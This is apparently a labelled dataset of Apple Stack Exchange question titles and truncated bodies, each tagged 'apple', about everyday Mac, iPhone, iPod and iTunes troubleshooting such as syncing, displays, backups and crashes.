"Title: iPhone minijack can't use EarPods remote, but plays sound Body: About a month ago, my iPhone stopped responding to the remote controllers on the new Apple EarPods (and all other as well). I tested them on my Mac and another phone, and they worked fine there, but ... ",['apple'] "Title: How do I view .nfo files in Terminal? Body: I'm trying to open .nfo file correctly with mac terminal (eventually with iTerm2) . I've tried it already with vim: vim file.nfo :set encoding=cp437 But it didn't helped. Maybe there other tools? ... ",['apple'] "Title: How to clean up emails when replying in plain text? Body: I have a problem that I want to solve after many years of using Mac OS X Mail.app... I generally like to send plain text emails that are full width (format=flowed) and nicely indented for quote ... ",['apple'] "Title: Why is my MacBook stalling occasionally since being upgraded with an SSD? Body: I upgraded my 6 year old MacBook Core Duo with a 120GB SanDisk Extreme SSD. The results are pretty incredible considering the age of the computer. The only problem I'm having are intermittent stalls. ... ",['apple'] "Title: How do I copy files from the photo library (not the Camera Roll) to a PC Body: Pretty simple really. I have a bunch of photos not in the Camera Roll and I would like to copy them to a PC. There doesn't seem to be a single useful article on the web that helps with this. ",['apple'] "Title: Connection through router in iPad Mini Body: I want to know whether I can get internet connection on my iPad Mini (WiFi only) through my router. If yes, what are the criteria of that router? ",['apple'] "Title: OSX - How to find out which process eats up memory? Body: My MacBook Pro has 8G RAM. Recently memory leak offen happened. Page outs and swap used kept increasing. The last time it used ~8G swap space. But in Activity Monitor, I can't find any process has a ... ",['apple'] "Title: iPod sound problems Body: When my iPod's sound is off, the symbol to show that it's off stays on the screen for the whole time until I turn it up at least one notch. But when I do, it turns itself all the way down back to ... ",['apple'] "Title: Does iPad mini gets scratched easily without a case? Body: I got my iPad mini a Belkin case for protection, but it made the iPad mini twice as thick. The iPad mini without the case is so slim and I love it, so i'm wondering if it can do without the case and ... ",['apple'] "Title: Bookmarks and history always disappear in Safari 6.0.2/Mountain Lion Body: I can not save new Bookmarks in Safari 6.0.2. The History also disappears when I quit. Both will be there if minimized but disappear after shutting down or quitting Safari. Other suggestions have ... ",['apple'] "Title: How do I close all tabs on Safari for iPad after the app crashes Body: My wife went to a site that tries to load a PDF that crashes Safari for iPad. After trying to load Safari again, it tries to open up all of the tabs again including the one that is crashing Safari. ... ",['apple'] "Title: Safari 6.0.2 not displaying images Body: Safari 6.0.2 on iMac will not load certain images in a web store I am visiting. The images used to load in Safari 5 and still load just fine in Safari on my iPad and iPhone. Any thoughts? ",['apple'] "Title: Is there a way to display an on-screen alert like the volume control feedback? Body: I am building some home theater integration, using my Mac Mini as a central hub. I have figured out how to use the HTTP or raw TCP/TP commands on my home theater equipment to turn them on, off, volume ... ",['apple'] "Title: How do I troubleshoot appalling write performance on DIY Fusion Drive? [closed] Body: I recently bought a 120 GB OCZ Vertex 3 and stuck in my 2009 Macbook White, together with a optibay-adapter for the old 500 GB HDD and configured them as a corestorage ""fusion drive"" by using the ... ",['apple'] "Title: How do you know when the battery has absolutely no charge? Body: I'm trying to reset the battery indicator on my iPod touch. To do this I need the battery to be completely empty first. How do I know when this happens? Right now I can turn it on and it will have ... ",['apple'] "Title: Reset dvd drive region Body: When you setup your dvd drive for the first time it will ask you what reigen you want to set. Each time you put a dvd from a different reigen into the drive it will ask you to change again. But ... ",['apple'] "Title: TextEdit Crashes on New Document (SIGSEGV) Body: I can't even create a new text document in TextEdit, though I can open any existing one. Whenever I click ""New Document"", I get the following crash report: Process: TextEdit [23534] Path: ... ",['apple'] "Title: Where can I find the Mountain Lion (Notification Center) notification sound? Body: I've been searching around for the little sound (the default one) when a notification is presented (on Mountain Lion Notification Center) but I can't find it. Example: http://d.pr/a/P5xo (sound ... ",['apple'] "Title: Rotating wallpapers of varying sizes Body: I have several desktop backgrounds that I would like to rotate between, but one of them is vertically oriented. If I leave the backgrounds set to ""Fill Screen,"" it chops off the top and the bottom of ... ",['apple'] "Title: What is disabling internet sharing on my macbook? Body: I bought my computer from my school, where they had multiple locks and disabled functions. When I bought it they were suppose to delete all these locks, but I guess they didn't – now I am unable to ... ",['apple'] "Title: How can I view HTTP only cookies in OSX? Body: I have a website I'm investigating and want to view HTTP-only cookies in Firefox, Safari, or Chrome. How can I view these special cookies in OSX? ",['apple'] "Title: Destination of merged PDFs in Automator? Body: Where can I find the PDF merged by the automator? ",['apple'] "Title: Why does text appear blurry when zooming in Safari until you release your fingers from the trackpad? Body: This has been bothering me for a while. When you zoom in Safari (Mac) using the pinch gesture, the text is only anti-aliased after finishing the gesture, not in realtime. Why not? ",['apple'] "Title: Arranging an external monitor for Macbook Air Body: I connected an external monitor to my Macbook Air, and arranged it above the MBA display. See this screen arrangement. In the above screenshot, the up-display is the external display, and the ... ",['apple'] "Title: Print from iPhone when no wireless access Body: New job- large hospital campus - tight Internet security. Internet/wireless limited to work computers. Can only print to network computer from work computer, but no printer in office- must print to a ... ",['apple'] "Title: Time machine out of space / Merging time machine backup Body: I have a 15 inch Mac Book Pro that is my main machine. At some point, in the second half of 2011 I purchased a 750GB external hard drive to configure Time Machine on my laptop. This is my main method ... ",['apple'] "Title: iPod “Classic” 60 GB and Bose SoundDock Body: I have an old ""classic"" 60GB iPod that I have been using with a Bose SoundDock for years. All of the sudden, one day, there is no sound coming from the dock speakers. I can listen to the Ipod with ... ",['apple'] "Title: How do I get LibreOffice 4.0 running on an iBook G4? Body: My brother just got an iBook G4 running 10.4.2 (Tiger), and we were trying to get LibreOffice 4.0 (the latest version) installed. The machine insists that the LibreOffice package is damaged or ... ",['apple'] "Title: How do I sync music on my iPad to my new iPhone? Body: I have an iPad and recently purchased an iPhone. I'd like to sync music currently on the iPad onto the phone. How can I accomplish this? ",['apple'] "Title: Tracks listed under “Manually Added Songs” continue to re-appear Body: When syncing music to an iPhone, iTunes give you the option to drag individual tracks to a section labeled ""Manually Added Songs"" to add them to the device (as opposed to adding all tracks of an ... ",['apple'] "Title: How can I map the F4 key's default functionality to trigger a key sequence rather than open Launchpad? (Mountain Lion) Body: I will use the touchpad gesture to open Launchpad. I don't use Launchpad much. I'd like to map the F4-key (which opens Launchpad) to send the Keystroke Command + Ctrl + Shift + 4 so I can use the OSX ... ",['apple'] "Title: Where does Apalon's Pimp Your Screen mac app does saves downladed images? Body: I've just installed Pimp your screen Apalon's Mac app and downloaded a bunch of images, where are images stored on my system after download? I've searched in the application contents in my ... ",['apple'] "Title: How can I use iCloud with 2 different apple ID's? Body: My problem is that my dad has an iPad and I have an iPhone. He uses a different apple id for his own iPad and I use my own for my own iPhone. I do have home sharing and have them linked to the same ... ",['apple'] "Title: Fullforce on iPad 4 uses iPhone keyboard instead of iPad keyboard Body: I've just install the tweak ""FullForce"" from the Cydia store on my iPad 4th generation to make Google Maps app full screen capable, but the app uses the iPhone keyboard instead of the iPad keyboard. ... ",['apple'] "Title: How can one user be faster than the other? Body: On our 10.6.8 Mac Mini Late 2009 Edition, we have 4 users, 3 of which are in regular use. One is mine, let's call it 'a'. The second one is someone else's, let's call it 'b'. The third one we both ... ",['apple'] "Title: OS X Mountaion Lion, Retina Mouse Resolution? Body: I'd really like some HiDpi mouse resolution in os x. Currently with Retina display, the mouse still acts like it's on a 1440x900 resolution. It's chunky and very noticeable to me. OS X won't use high ... ",['apple'] "Title: Can I use memory taken from a Macbook Pro in a Mac Pro? Body: My Macbook Pro from around 2008 finally died. It has two 1 GB memory chips. (Specifically, two of this Samsung chip.) My question is: can I use these chips in my 2011 Mac Pro? ",['apple'] "Title: How do I get music onto my new laptop and the itunes i just downloaded? Body: I have 9 days worth of music on iTunes from my old laptop. How do I upload my music to the new laptop and iTunes I just downloaded? ",['apple'] "Title: Is there an alternative to Messages? Body: I'm having the problem of synced iMessages appearing out of order in Messages on my Macbook. I've even had messages sent to wrong people. I can't find any alternatives through Google. Is there a ... ",['apple'] "Title: Strange domain name appears in Sharing Preferences, source unknown Body: First of all before anyone asks, I have already set my DNS name in the Terminal with scutil, which is reflected on the Terminal prompt and returned by the hostname command. I also understand that this ... ",['apple'] "Title: Can't adjust volume/play music on iPhone 4 Body: For some reasons I can't adjust the volume on my iPhone 4 anymore. Whenever I press it the popup showing the bell is shown but not the bar indicating the . I can't adjust the volume at all. Also ... ",['apple'] "Title: Jailbroken iPod touch stuck in boot Body: I jailbroke my iPod touch 4g running iOS 6.1 yesterday. I got SiriPort, but it kept crashing my iPod and booting into safe mode. I reinstalled it, and took it for a test run, and of course, it ... ",['apple'] "Title: Non-recursive spotlight search? Body: When using the Spotlight search at the top right of a finder window, I often want the search to be non-recursive, i.e. only look at files in that specific directory, not any directories within it. Is ... ",['apple'] "Title: Encrypt Folders [duplicate] Body: I seem to remember there being an option to encrypt my entire file system which I passed on but is there a way to just encrypt a folder / directory the way you can on Linux? ",['apple'] "Title: Can one influence Mac OS X's / Darwin's filesystem caching behaviour? Body: I have the following problem: When I run processes that consume a lot of memory, Mac OS X seems to refuse to release a large portion of the filesystem cache: In fact, instead of letting go of the ~ ... ",['apple'] "Title: iMessage group members visibility Body: I'm curious how the group visibility works with iMessage. I have a hunch that when sending with iMessage to a group of people, all these people will see each other in the group. Is my assumption ... ",['apple'] "Title: is it possible to directly mount a subdirectory of a smb path? Body: I am new to osx but am very experienced with Linux and Windows. I need to mount a subdirectory of a shared drive so the user can access it without being confused by seeing higher levels in the smb ... ",['apple'] "Title: Weird App Store Localisation issues Body: I'm starting to see some odd behaviour when using the App Store on my iPhone. Certain text is occasionally being shown in the wrong language (usually German), or in a mix of languages, and I also ... ",['apple'] "Title: Can Time Machine back up different data (or different exclusion lists) to different drives? Body: Mountain Lion includes a feature to configure multiple Time Machine locations and to back up to those locations when they become available (plugged in external drives, accessible network drives, etc). ... ",['apple'] "Title: Is there a dashboard widget that has extended Unicode characters? Body: I've been looking for a decent Unicode widget that allows access to some of the weirder characters like ✓ and ✗. Does such a beast exist? I've tried a few and all of them seem kind of ... ",['apple'] "Title: Where is my download from iTunes? Body: I purchased 'Chris Hardwick Mandroid' SD Movie on iTunes. I see it in Finder, and I see it in my Recently Added playlist... but I don't see it in my list of Movies or TV Shows on iTunes. First ... ",['apple'] "Title: Mountain Lion - Environment Variable is not being used Body: I am trying to set some environment variables in ML. To do so, I set following in my /etc/launchd.conf sentenv FOG_PROVIDER 'AWS' sentenv FOG_REGION 'us-west-1' sentenv REDISTOGO_URL ... ",['apple'] "Title: Why is m y iPhone backup so large? Body: I've already synced my phone to iPhoto and emptied the camera roll. There is no application data category listed that is more than 100 MB or so, and yet it says that the backup is 4.9 GB. There ... ",['apple'] "Title: iPhone 3G w/o SIM messaging app Body: I would like to use our jailbroke iPhone 3G with NO SIM. Is it possible to use the built in messaging app that Apple supplies on this iPhone wit no SIM? Is this possible to do or do I need to use ... ",['apple'] "Title: How to export a date range in Calendar Body: I would like to export some of the events in one of my calendars. The export function will create a .ics file with the entire calendar, but I only want to export events within a specified date range. ... ",['apple'] "Title: Why does iCal forget the calendars? Body: Sometime ago I noticed that iCal lost all my evens and calendars. Luckily I was somehow able to ""re""-synchronize it with the Outlook calendar. Yesterday the same happened. After opening iCal all my ... ",['apple'] "Title: Get info: sizes displayed in MB first Body: One thing that I miss and would like to have back, is when I get info on one or more files, the size displayed first is not the MB rounded one, it is the size in bytes. The image below shows on the ... ",['apple'] "Title: How do I schedule a root command to run at intervals? Body: I need to run a script in intervals that requires a root user to execute. I created a plist that will call a script in ~/bin/test.sh. user@MBP:~$ ls -lah ~/bin/ -rw-r--r-- 1 root staff 566B ... ",['apple'] "Title: Is there any way to make my iPhone sync calendars with iCloud periodically? Body: I have an iPhone and an iPad, both with iOS 6.1. I use iCloud for calendar syncing between them and my Mac. For whatever reason, the iOS devices don’t sync calendars with iCloud unless and until I ... ",['apple'] "Title: Looking for a monitor for my 2012 model iMac Body: I know there are many of these types of questions, but the answers for the later models do not directly help with the newer iMac model that just came out in December 2012. I'm having a HUGE issue ... ",['apple'] "Title: Is it possible to use Google Drive to store a Dragon Dictate 3 profile for sharing between my home and work computers? Body: I have Dragon Dictate 3 and Google Drive on both my work and home iMacs running Mountain Lion. I have a profile I've set up with my work computer on my instance of Google Drive, and I want to use the ... ",['apple'] "Title: where can i remove desktop in mission control? Body: In mission control, I can add a desktop by pushing the button on the top right. How do i remove a desktop? Or where in my system preferences do i look to do this? ",['apple'] "Title: Error 2009 when restoring iPhone Body: I have a jailbreaked iPhone 4 and I updated from version 5 to v6 in wifi. The screen shows only the recovery mode, but when I connect it to iTunes, it detects the iPhone but needs to update it. When ... ",['apple'] "Title: How can I force an app to redownload from Mac App Store? Body: I have purchased an app which didn't download successfully. I deleted the installer and tried to install it again from the Mac AppStore but the download button says ""Installed"". I also still have the ... ",['apple'] "Title: Does receiving spam iMessages / FaceTime calls indicate my account is compromised? Body: I have a question and a story, since things aren't completely clear in my mind how iMessage and FaceTime work. If someone sends me an iMessage / FaceTime call, does it mean they have other contact ... ",['apple'] "Title: How to build last version of Ruby for jailbroken iOS? Body: I jailbrake my iPad and want to run Ruby in the console. I installed OpenSSH & Ruby from Saurik. But it is too old (1.9.2) & buggy. I would like to compile and install the latest version of ... ",['apple'] "Title: How can I access 'flight mode' in iphone4 without a sim card? Body: I am attempting to unlock an iPhone4. However, my issue seems to be that the phone doesn't recognize my SIM card. The advice I got from my previous carrier is to put the phone in 'flight mode'. This ... ",['apple'] "Title: Unlocked iPhone 5 in Malta Body: I am planning on buying an unlocked iPhone 5 from the USA to use it in Malta. What features would be missing? For example, maps, navigation, Siri... ",['apple'] "Title: Playing sound on web pages isn't working on iPod Touch (using Safari) Body: I've noticed that the embedded mp3 file on this page won't play at all on my iPod Touch (using the Safari web browser), even though it seems to be working properly in Google Chrome on Windows 7. Is ... ",['apple'] "Title: iWork purchasing options Body: I purchased Pages, Keynote, and Numbers for my Mac Mini running Lion, but they're not showing up as purchased in the App Store with my usual Apple ID. They don't appear to be registered. I'm trying to ... ",['apple'] "Title: Anyone else having issues with the weather app? Body: So I jail role with the new evasi0n tool and now I can't launch my weather app. Anyone else experiencing similar problems? ",['apple'] "Title: Vertical Sync on MBP Body: On PCs you could easily configure the Vertical Sync setting from NVidia control panel, how can you enable/disable vertical sync in OS X? ",['apple'] "Title: Mac Mini + Thunderbolt Display+ Additional Display? Body: I just purchased a 2012 Mac Mini to use with my Apple Thunderbolt Display. The mini also included an HDMI to DVI converter. I have a DVI-connected ViewSonic montior that I'd like to use as a ... ",['apple'] "Title: MBR-partitioned HDD: How to encrypt Time Machine backup? Body: I'm giving my external HDD to a friend tomorrow for a few days. It's partitioned via Master Boot Record and there are two partitions: a NTFS partition and my Time Machine partition. I don't want him ... ",['apple'] "Title: Why were my permissions different from the default and what are the implications of “fixing” them? Body: For some time now my Finder ""Get Info"" dialogs have been displaying ""Fetching..."", and I recently decided to fix the problem by following the instructions for resetting my home folder permissions. As ... ",['apple'] "Title: How can I use FileVault encryption and still track my laptop if stolen Body: I've spent quite some time over the last few days trying to work out how I can combine the clear data security advantages of encrypting my machine with FileVault 2 under Lion, and the theft-recovery ... ",['apple'] "Title: Max OS X: White saturation is terrible Body: i have a Problem. Here's my story: I bought a new LCD-Monitor: Acer S235HLBbmii. I had Windows 8 till today. The colors with windows (and this monitor) were very good. All tests on this website are ... ",['apple'] "Title: Why does OS X require admin privileges to unmount a drive from the terminal using `umount` but not when using Finder? Body: Anyone can unmount a usb drive from Finder by clicking on the ""eject"" icon next to it. However, only a user with administrative privileges can unmount a drive from the terminal using umount. Are ... ",['apple'] "Title: Switching to Straight Talk From T-Mobile on an iPhone 5 Body: I am at my wit's end trying to get my wife's iPhone 5 switched from T-Mobile to straight talk. Just about a month ago my wife's old cellphone was reaching a breaking point, so she decided to get an ... ",['apple'] "Title: How do I re-associate HTTP links with my browser in OS X? Body: I installed iTerm2 the other day, and was playing around with it. In the process I seemed to have messed up the handling of HTTP hyperlinks on my system. Sometimes (annoyingly, not every time, which ... ",['apple'] "Title: How to fix app store Mountain Lion download that stops at 45%? Body: I have tried to download Mountain Lion from the app store only to have it show up in my dock and begin ""downloading"". Except it never completes the download. Each time I begin the download again, it ... ",['apple'] "Title: Synchronizing contacts with Google: synchronizing frequency Body: I synchronize my contacts between my MacBook, google account and Android phone. However, I did not find out in what frequency the MacOS adressbook syncs itself with my google account. Some vague ... ",['apple'] "Title: How do I change the virtualbox “Host Key”? Body: I'm not using an apple keyboard and don't have a Left ⌘. Can I change the ""Host Key"" to be the Right ⌘? How? ",['apple'] "Title: 6th Gen iPod Nano won't play entire song Body: I have a 6th Generation iPod Nano. There are a handful of songs in my library that it will not play in their entirety. The iPod will play a few minutes of the song and then skip to the next track. The ... ",['apple'] "Title: how do I leave myself a permanent note on my iphone? Body: OK, this is an incredibly basic question, but I have looked far and wide and cannot find a simple answer anywhere. I want to record some PERMANENT notes to myself on my IPhone, such as my office ... ",['apple'] "Title: Any reason to turn off wifi when connected by cable to network on A/C power for MBPr Body: Any reason to turn off wifi when connected by thunderbolt adapter to cat-5 1 gig ethernet cable to network on A/C power for MBPr? Does turning wifi off help with anything? Does keeping wifi on help ... ",['apple'] "Title: Kernel panic in OS X 10.7.5 Body: After my Mac goes into sleep mode and once I try to bring it back, it gives me error messages Kernel crash: Panic (system crashes) log: Source: ... ",['apple'] "Title: Does working in Target Disk mode hurt hardware? Body: I had asked a question on how to connect a MacBook Pro to an iMac such that the iMac gets control of everything and that I used RAM and CPU power of iMac instead of MacBookPro. Here is how I did it: ... ",['apple'] "Title: Edit MS office documents on FTP server (iPad) Body: I got an iPad Mini for Christmas and I also got CloudFTP (for those who don't know, it's a device which allows you to access files on your USB storage medium via FTP or the web app). It works great to ... ",['apple'] "Title: Boot Camp Assistant crashes when partitioning drive (exception: EXC_BAD_ACCESS) Body: I run Mountain Lion, a fresh install, brand new Macbook Pro. HD: Samsung 840 Pro 512 GB SSD. When trying to go through Boot Camp Assistant / Setup it works fine until it wants to repartition my ... ",['apple'] "Title: Is there a technical reason not to upgrade a MacBook's RAM past its listed maximum? Body: According to this page, Macbooks are expandable to memories larger (and, in one case, faster) than those released by Apple. Search for ""expandable"" in that page to see the many cases. But Apple is ... ",['apple'] "Title: iPhone backup encryption with password cannot be disabled Body: Hi have backups which encrypted with passwords and i know the backup password, i can restore it. There is not any problem. But i want to disable encrypting backup with password, here is the problem. ... ",['apple'] "Title: Automatically replace font in Pages? Body: I have to open many .docx files each day, and it gets annoying either ignoring the ""import warnings"", or replacing the font in each document. Is there a way to always replace missing fonts with ... ",['apple'] "Title: How to transfer music from one itunes library to another ON THE SAME COMPUTER? Body: I have a ton of music in my iTunes that is also on my iPhone. I want to take my kids' music off my iPhone and put it on another device (a nano) that my kids will use. My kids are young, so they ... ",['apple'] "Title: How do I refresh a “Lion” iMac to run “Mountain Lion” (factory install, wipe drive) Body: What is the easiest way to upgrade a 2011 iMac to Mountain Lion, including a full drive reformat? I also have a new MacBook which was purchased with Mountain Lion. Do I still need to buy Mountain ... ",['apple'] "Title: How do I change cellular data DNS servers to OpenDNS? Body: I have an iPhone that I want to setup using OpenDNS's FamilySearch DNS servers. However I'm not sure how to set this up for the Cellular side of data. Is this possible, and if so how? iPhone: 5 ... ",['apple'] "Title: MacBook won't detect displays unless I “detect displays” manually from System Prferences Body: My MacBook drives my external DVI monitor (over mini display port, using Apple's adapter) just fine, but it fails to detect changes in the display configuration and doesn't react accordingly unless I ... ",['apple'] "Title: 2nd gen iPod Touch with a faulty screen, home button, or both? Body: I have an 2nd gen iPod Touch which has something wrong with it. The screen does not work unless I hold both the Sleep and Home button for a few seconds. The screen then lights up as normal and I could ... ",['apple'] "Title: Fusion Drive with SSD and HHD Hybrid Drive (e.g. Seagate Momentum XT 750 GB with 8 GB SSD): Good idea or plain nonsense? Body: I’ve seen numerous instructions on how to setup a Fusion Drive from your own SSD and HD, e.g. Can I make a DIY Fusion Drive? Very silly question: How would a Fusion Drive built from an SSD and a ... ",['apple'] "Title: Troublesome kext or driver causing system to hang Body: I have a late 2012 27"" iMac with a relatively fresh install of OS X Mountain Lion (10.8.2). I have been experiencing a pretty severe problem that I am convinced is software related, but I could use ... ",['apple'] "Title: How to avoid diskutil from running on next boot? Body: OSX keeps trying to run diskutil to check my hard drive whenever I boot the system. Problem is it hangs up and reboots during the checking. The system was running fine before rebooting. I suspect it ... ",['apple'] "Title: What does XProtect protect/secure on Mac OS X? Body: My research so far has found XProtect appears at first glance to be a basic AV engine that scans DMG & apps through Safari, Chrome and Firefox. I'm looking to understand what does it actually do ... ",['apple'] "Title: Where should shell tools be installed? Body: Are there Apple guidelines for where user shell tools in Mountain Lion should be installed? Some (e.g. TeX, or Apple's Git) end up in /usr, and others (e.g. X11) seem to end up in /opt (sometimes with ... ",['apple'] "Title: Font smoothing randomly turning off Body: Recently my fonts turned a little too ""crispy"" in the sense that they looked a somewhat flattened and pixely. Exactly this problem, in fact: Weird Font Smoothing Issue After noticing it, I went ... ",['apple'] "Title: Newest Mac Mini and VGA monitor won't work via MiniDisplayPort to VGA adapter Body: I've recently bought a new Mac Mini and tried to connect it to an old LG Flatron 19"" VGA monitor. For that I've ordered a MiniDisplayPort to VGA adapter. Unluckily, this didn't work, monitor just ... ",['apple'] "Title: Does Tiger have one install CD for both architectures? Body: I'm eyeing an unopened set of 2 tiger install DVDs on eBay. When they were originally shipped, did 10.4 DVDs support both Intel and PPC on the same disk? ",['apple'] "Title: What is the iPhone SMS database called in ios6? Body: I need to migrate SMSs from an iPhone to an android, and I'd like to use solutions suggested here, but I can't find the SMS db file (reportedly named 3d0d7e5fb2ce288813306e4d4636395e047a3d28) in my ... ",['apple'] "Title: Apple TV downloads slowly while “on”. Why? Body: I bought an Apple TV and when I'm watching TV episodes, downloading seems to take forever. When I power down my monitor, downloading is noticeably faster. Any idea why? Is there a way to make the ... ",['apple'] "Title: Launch Applescript with RFID Body: I currently have from SparkFun an RFID Reader (SEN-09963 + ID20 SEN-08628) that is connected to my Mac (10.8 if you are curious) What I have so far: the device is built, in a project box, connected ... ",['apple'] "Title: Resume Mountain Lion Download after restart Body: Last night I was trying to download Mountain Lion. But after download reached around 90% I accidently restarted the machine. After that I cannot resume the download as it is not listing in purchases ... ",['apple'] "Title: How do I create an Apple email account on an old iBook running OS 10.5.8? Body: I’m setting up an old iBook and as a result I am also stuck with OS X 10.5.8 and can’t see how I can create a new Apple email address. Any ideas are welcomed—Apple’s site and OS have been terrible in ... ",['apple'] "Title: Mac is flashing screen when pressing keys Body: If I press keys that don't do anything on the focused app then the whole screen flashes white, as if the option to flash the screen on alerts (in accessibility preferences) was on, but it is not. For ... ",['apple'] "Title: Itunes “genres” Body: I manually changed the genres on some of my songs in my Itunes library to minimize the number of genres. I have found that after I add songs to my library and then sync them to my ipod, Itunes will ... ",['apple'] "Title: Cloning an image from MacBook Air to MacBook Pro Body: I am getting a mid-2012 13"" MacBook Pro. I currently have a mid-2011 11"" MacBook Air. I will be purchasing a Crucial M4 512GB SSD for the Pro and I want to clone my existing Air's HDD before I give ... ",['apple'] "Title: How to put songs to my iphone from itunes without deleting songs in my iphone Body: I have a problem. My friend placed music in my iphone using his laptop recently. Unfortunately i want to put more song in my iphone using my computer. However, I cant sync my iphone to my comuputer ... ",['apple'] "Title: Free IP scanner for OS X? Body: I am looking for a, preferably free tool that would scan current network (using the mark) for alive hosts. It needs to be able to resolve hostnames and preferably to support bonjour too. ",['apple'] "Title: How to read sms from a USB modem Body: Is it possible to read SMS messages from USB modem ? I found a tutorial which is for Linux does exactly what I am hoping for. However it uses gnokii which does not work quite well on OS X. Any help ... ",['apple'] "Title: Can't connect to Win7 SMB share Body: I have a Mac running OSX 10.6 Mountain Lion. I have three Windows computers, one Win7 and two Win8. OSX can connect to the two Win8 boxes smb shares fine Win8 & Win7 boxes can connect to the ... ",['apple'] "Title: Improved Terminal autocomplete funcionality (similar to Matlab's) Body: If any of you ever used Matlab, you might have noticed the command window functionality in that program. I wonder if it is possible to enable the same functionality in Mac Terminal. It works like ... ",['apple'] "Title: MacPro 1st Gen - can it handle SSDs? Body: I have a MacPro 1,1 and am considering putting an SSD in it to give it a boost. Can I safely assume compatibility or will its ancient hardware and architecture cause issues? It cannot, as I recently ... ",['apple'] "Title: Restore all Notes from iCloud Body: I deleted numerous Notes from my phone that I want to get back from iCloud. My phone has not updated to iCloud so the Notes are still good on the cloud. How do I get all files from cloud back onto ... ",['apple'] "Title: Rules for Spotlight search (on osx 10.8) Body: I absolutely do not understand the rules that Spotlight (osx 10.8) uses to search my files. If I enter the query sbml and select filename from the dropdown menu, these are the results that come up: ... ",['apple'] "Title: How to connect to a VPN with PPTP that uses CHAP and MS-CHAP? Body: My employer recently changed our VPN that we use while working remote and sent some new instructions for setting up our windows machines to connect to it. Following the instructions, I basically just ... ",['apple'] "Title: How to install Java 7 next to Java 6? Body: I am using a MackBook Pro with Mac OS X 10.8.2. I currently have Java 6 installed: wdb-laptop:~ wdb$ java -version java version ""1.6.0_37"" Java(TM) SE Runtime Environment (build ... ",['apple'] "Title: How to check if hard drive is failing on late 2009 iMac Body: I have a late 2009 27"" iMac with a 2TB hard drive. Over time, very hard drive intensive operations (especially Aperture 3) have become extremely slow (loading a ~30mb RAW in Aperture takes about 30 ... ",['apple'] "Title: Can not change country of apple ID Body: It doesn't work when I change the country of my apple ID. I come to the page where I need to fill in my address and billing information, but when I press next I come back to settings and when I press ... ",['apple'] "Title: How can I sort by phone number type or length in Contacts in OS X? Body: I use Contacts on my work Mac to manage my phone numbers. I want the internal phone extension to display first. This is currently stored as one of three ""work"" phone numbers for most of my contacts. ... ",['apple'] "Title: Can the 2011 Mac Mini support 3 displays with DP 1.2 chaining? Body: Dell u2713H monitor supports Daisy Chaining. as one of the first monitors I've seen that uses DP 1.2 protocol. In essence, I'm asking if thunderbolt supports / enables / works with DP chaining, but ... ",['apple'] "Title: Mountain Lion firewall is randomly delaying DNS requests Body: I recently experienced some delays during DNS host resolution on OS X 10.8. To test it I started a simple script which tries to repeatedly resolve the same hostname 20 times: #!/bin/sh for i in `seq ... ",['apple'] "Title: Import certificates into System Keychain via the command line Body: Is it possibly to copy a certificate to machine running to OS X Snow Leopard, add it to the System Keychain, then set it to ""Always Trust via SSH?"" And if so... how? ",['apple'] "Title: Merging Multiple CSV Files without merging the header Body: I need to merge multiple .CSV files (using the cat command) but without copying the header for each file. What's the best way to accomplish this task? ",['apple'] "Title: Time Machine after formatting still works? Body: I would like to format my mac, and be able to access old files, photos... from my previous time machine backup. I have backed up my mac with time machine and I am uncertain if after formatting I will ... ",['apple'] "Title: Faster than Time Machine for Backup Body: I want to do a full backup of my Mac to an external disk AS FAST AS POSSIBLE. Does that mean I should use something other than Time Machine or set some settings? ",['apple'] "Title: launchd initiated process receiving signal 15 (TERM) Body: I've installed TotalFinder (a plugin, of sorts, for Finder) and it's randomly being killed off several times a day. I contacted the developer and he didn't have any ideas, but did say a quick google ... ",['apple'] "Title: Preview.app slow when showing selection box Body: When opening a rather large drawing/blueprint in Preview it works fine. (not superfast, but works) But as soon as I select a region to crop CPU usage goes up to 100%. I think it's because the ... ",['apple'] "Title: Is there any potential problem with disabling core dumps? Body: Debugging information (core dumps) gets saved to /cores (information on what was happening when app 'x' crashed). These files can take up a huge amount of space - I have manually removed them several ... ",['apple'] "Title: Restoring past purchases from different country Body: I recently moved countries, and have purchases associated on my iTunes account. Once I moved countries, I changed the country on my Apple ID to my new country. However, after using a store card on ... ",['apple'] "Title: OSX Mountain Lion - Kernel Panic and Restart after Sleep Body: I am running a mid 2009 15"" Macbook Pro, with 10.8.2 installed. Periodically, after sleeping my machine, I open it to a kernel panic. The logs fail at the AppleIntelCPUPowerManagementClient kext, and ... ",['apple'] "Title: One of three monitors does not start after upgrading from Lion to Mountain Lion Body: I've just updated to OS X 10.8.2 (earlier 10.7.5) on my Mac Pro. And I have 3 monitors - DVI, DisplayPort (primary), DVI; attached to 6850. Everything works fine, but every time I start the computer, ... ",['apple'] "Title: Screen dark except when brightness is stepped off of zero Body: As shown in this video, the screen is dark, except at the few first steps when the brightness is moved just out of zero. The notebook works otherwise perfectly fine. The image on the external monitor ... ",['apple'] "Title: Stop flagged messages in inactive accounts from contributing to Flagged counter Body: I have two accounts set up in Mail 6.2. Most of the time I disable one of them (my personal account) to avoid being distracted at work. Strangely, the number of ""Flagged"" messages includes messages ... ",['apple'] "Title: Are there more capable music DJ programs for OS X than Tangerine? Body: I'm looking for an application which can take a playlist of all of the track I'm listening to at the moment and re-arrange them so that they are in a logical sequence (based on BPM etc) then mix them ... ",['apple'] "Title: Stop my Mac from downloading Apple TV content Body: I have an Apple TV where I subscribe to Seasons for various shows and watch them on my TV. The problem is that my Mac is also downloading the same, storing it on the hard drive. These are very ... ",['apple'] "Title: How to batch convert word documents to pdf? Body: Is there a scriptable way that I can convert several MS Word documents to PDF? I thought this might be possible using python, but I am unable to find any advice online on how best to do this. ",['apple'] "Title: Can timestamps be preserved when copying files on OS X? Body: I'm interested in combining the files from three Macs by copying the files from each one into a single folder hierarchy of my design on an external hard drive. In my past experience copying files in ... ",['apple'] "Title: iPad mini offers update to iOS 6.0.2 that won't install Body: An update to iOS 6.0.2 did not seem so important at the time and so it was never installed. Now that iOS 6.1 is out I'd expect that Software Update skips the update to iOS 6.0.2 and directly provides ... ",['apple'] "Title: How to down-clock RAM? Body: My Mac (Mid 2009- MacBookPro5,5) laptop installing OS 10.8.2. Currently, it is using 2 x 1GB (1066 Mhz). My friend gave me 2 x 2GB (1600 Mhz) of his 2012 Mac. After installing 2 x 2GB (1600 Mhz) on ... ",['apple'] "Title: DISPLAY is not set on remote host when I do ssh from mac to another machine Body: I recently reinstalled my OS X 10.8 and I discovered that X11 (XQuartz) does not work anymore. I do have XQuartz installed and started and I do see the DISPLAY variable being correctly set on ... ",['apple'] "Title: Multithreaded Video Converter on Mac? Body: Is there an app for Mac that can distribute a single video encoding job to several thread to utilize the 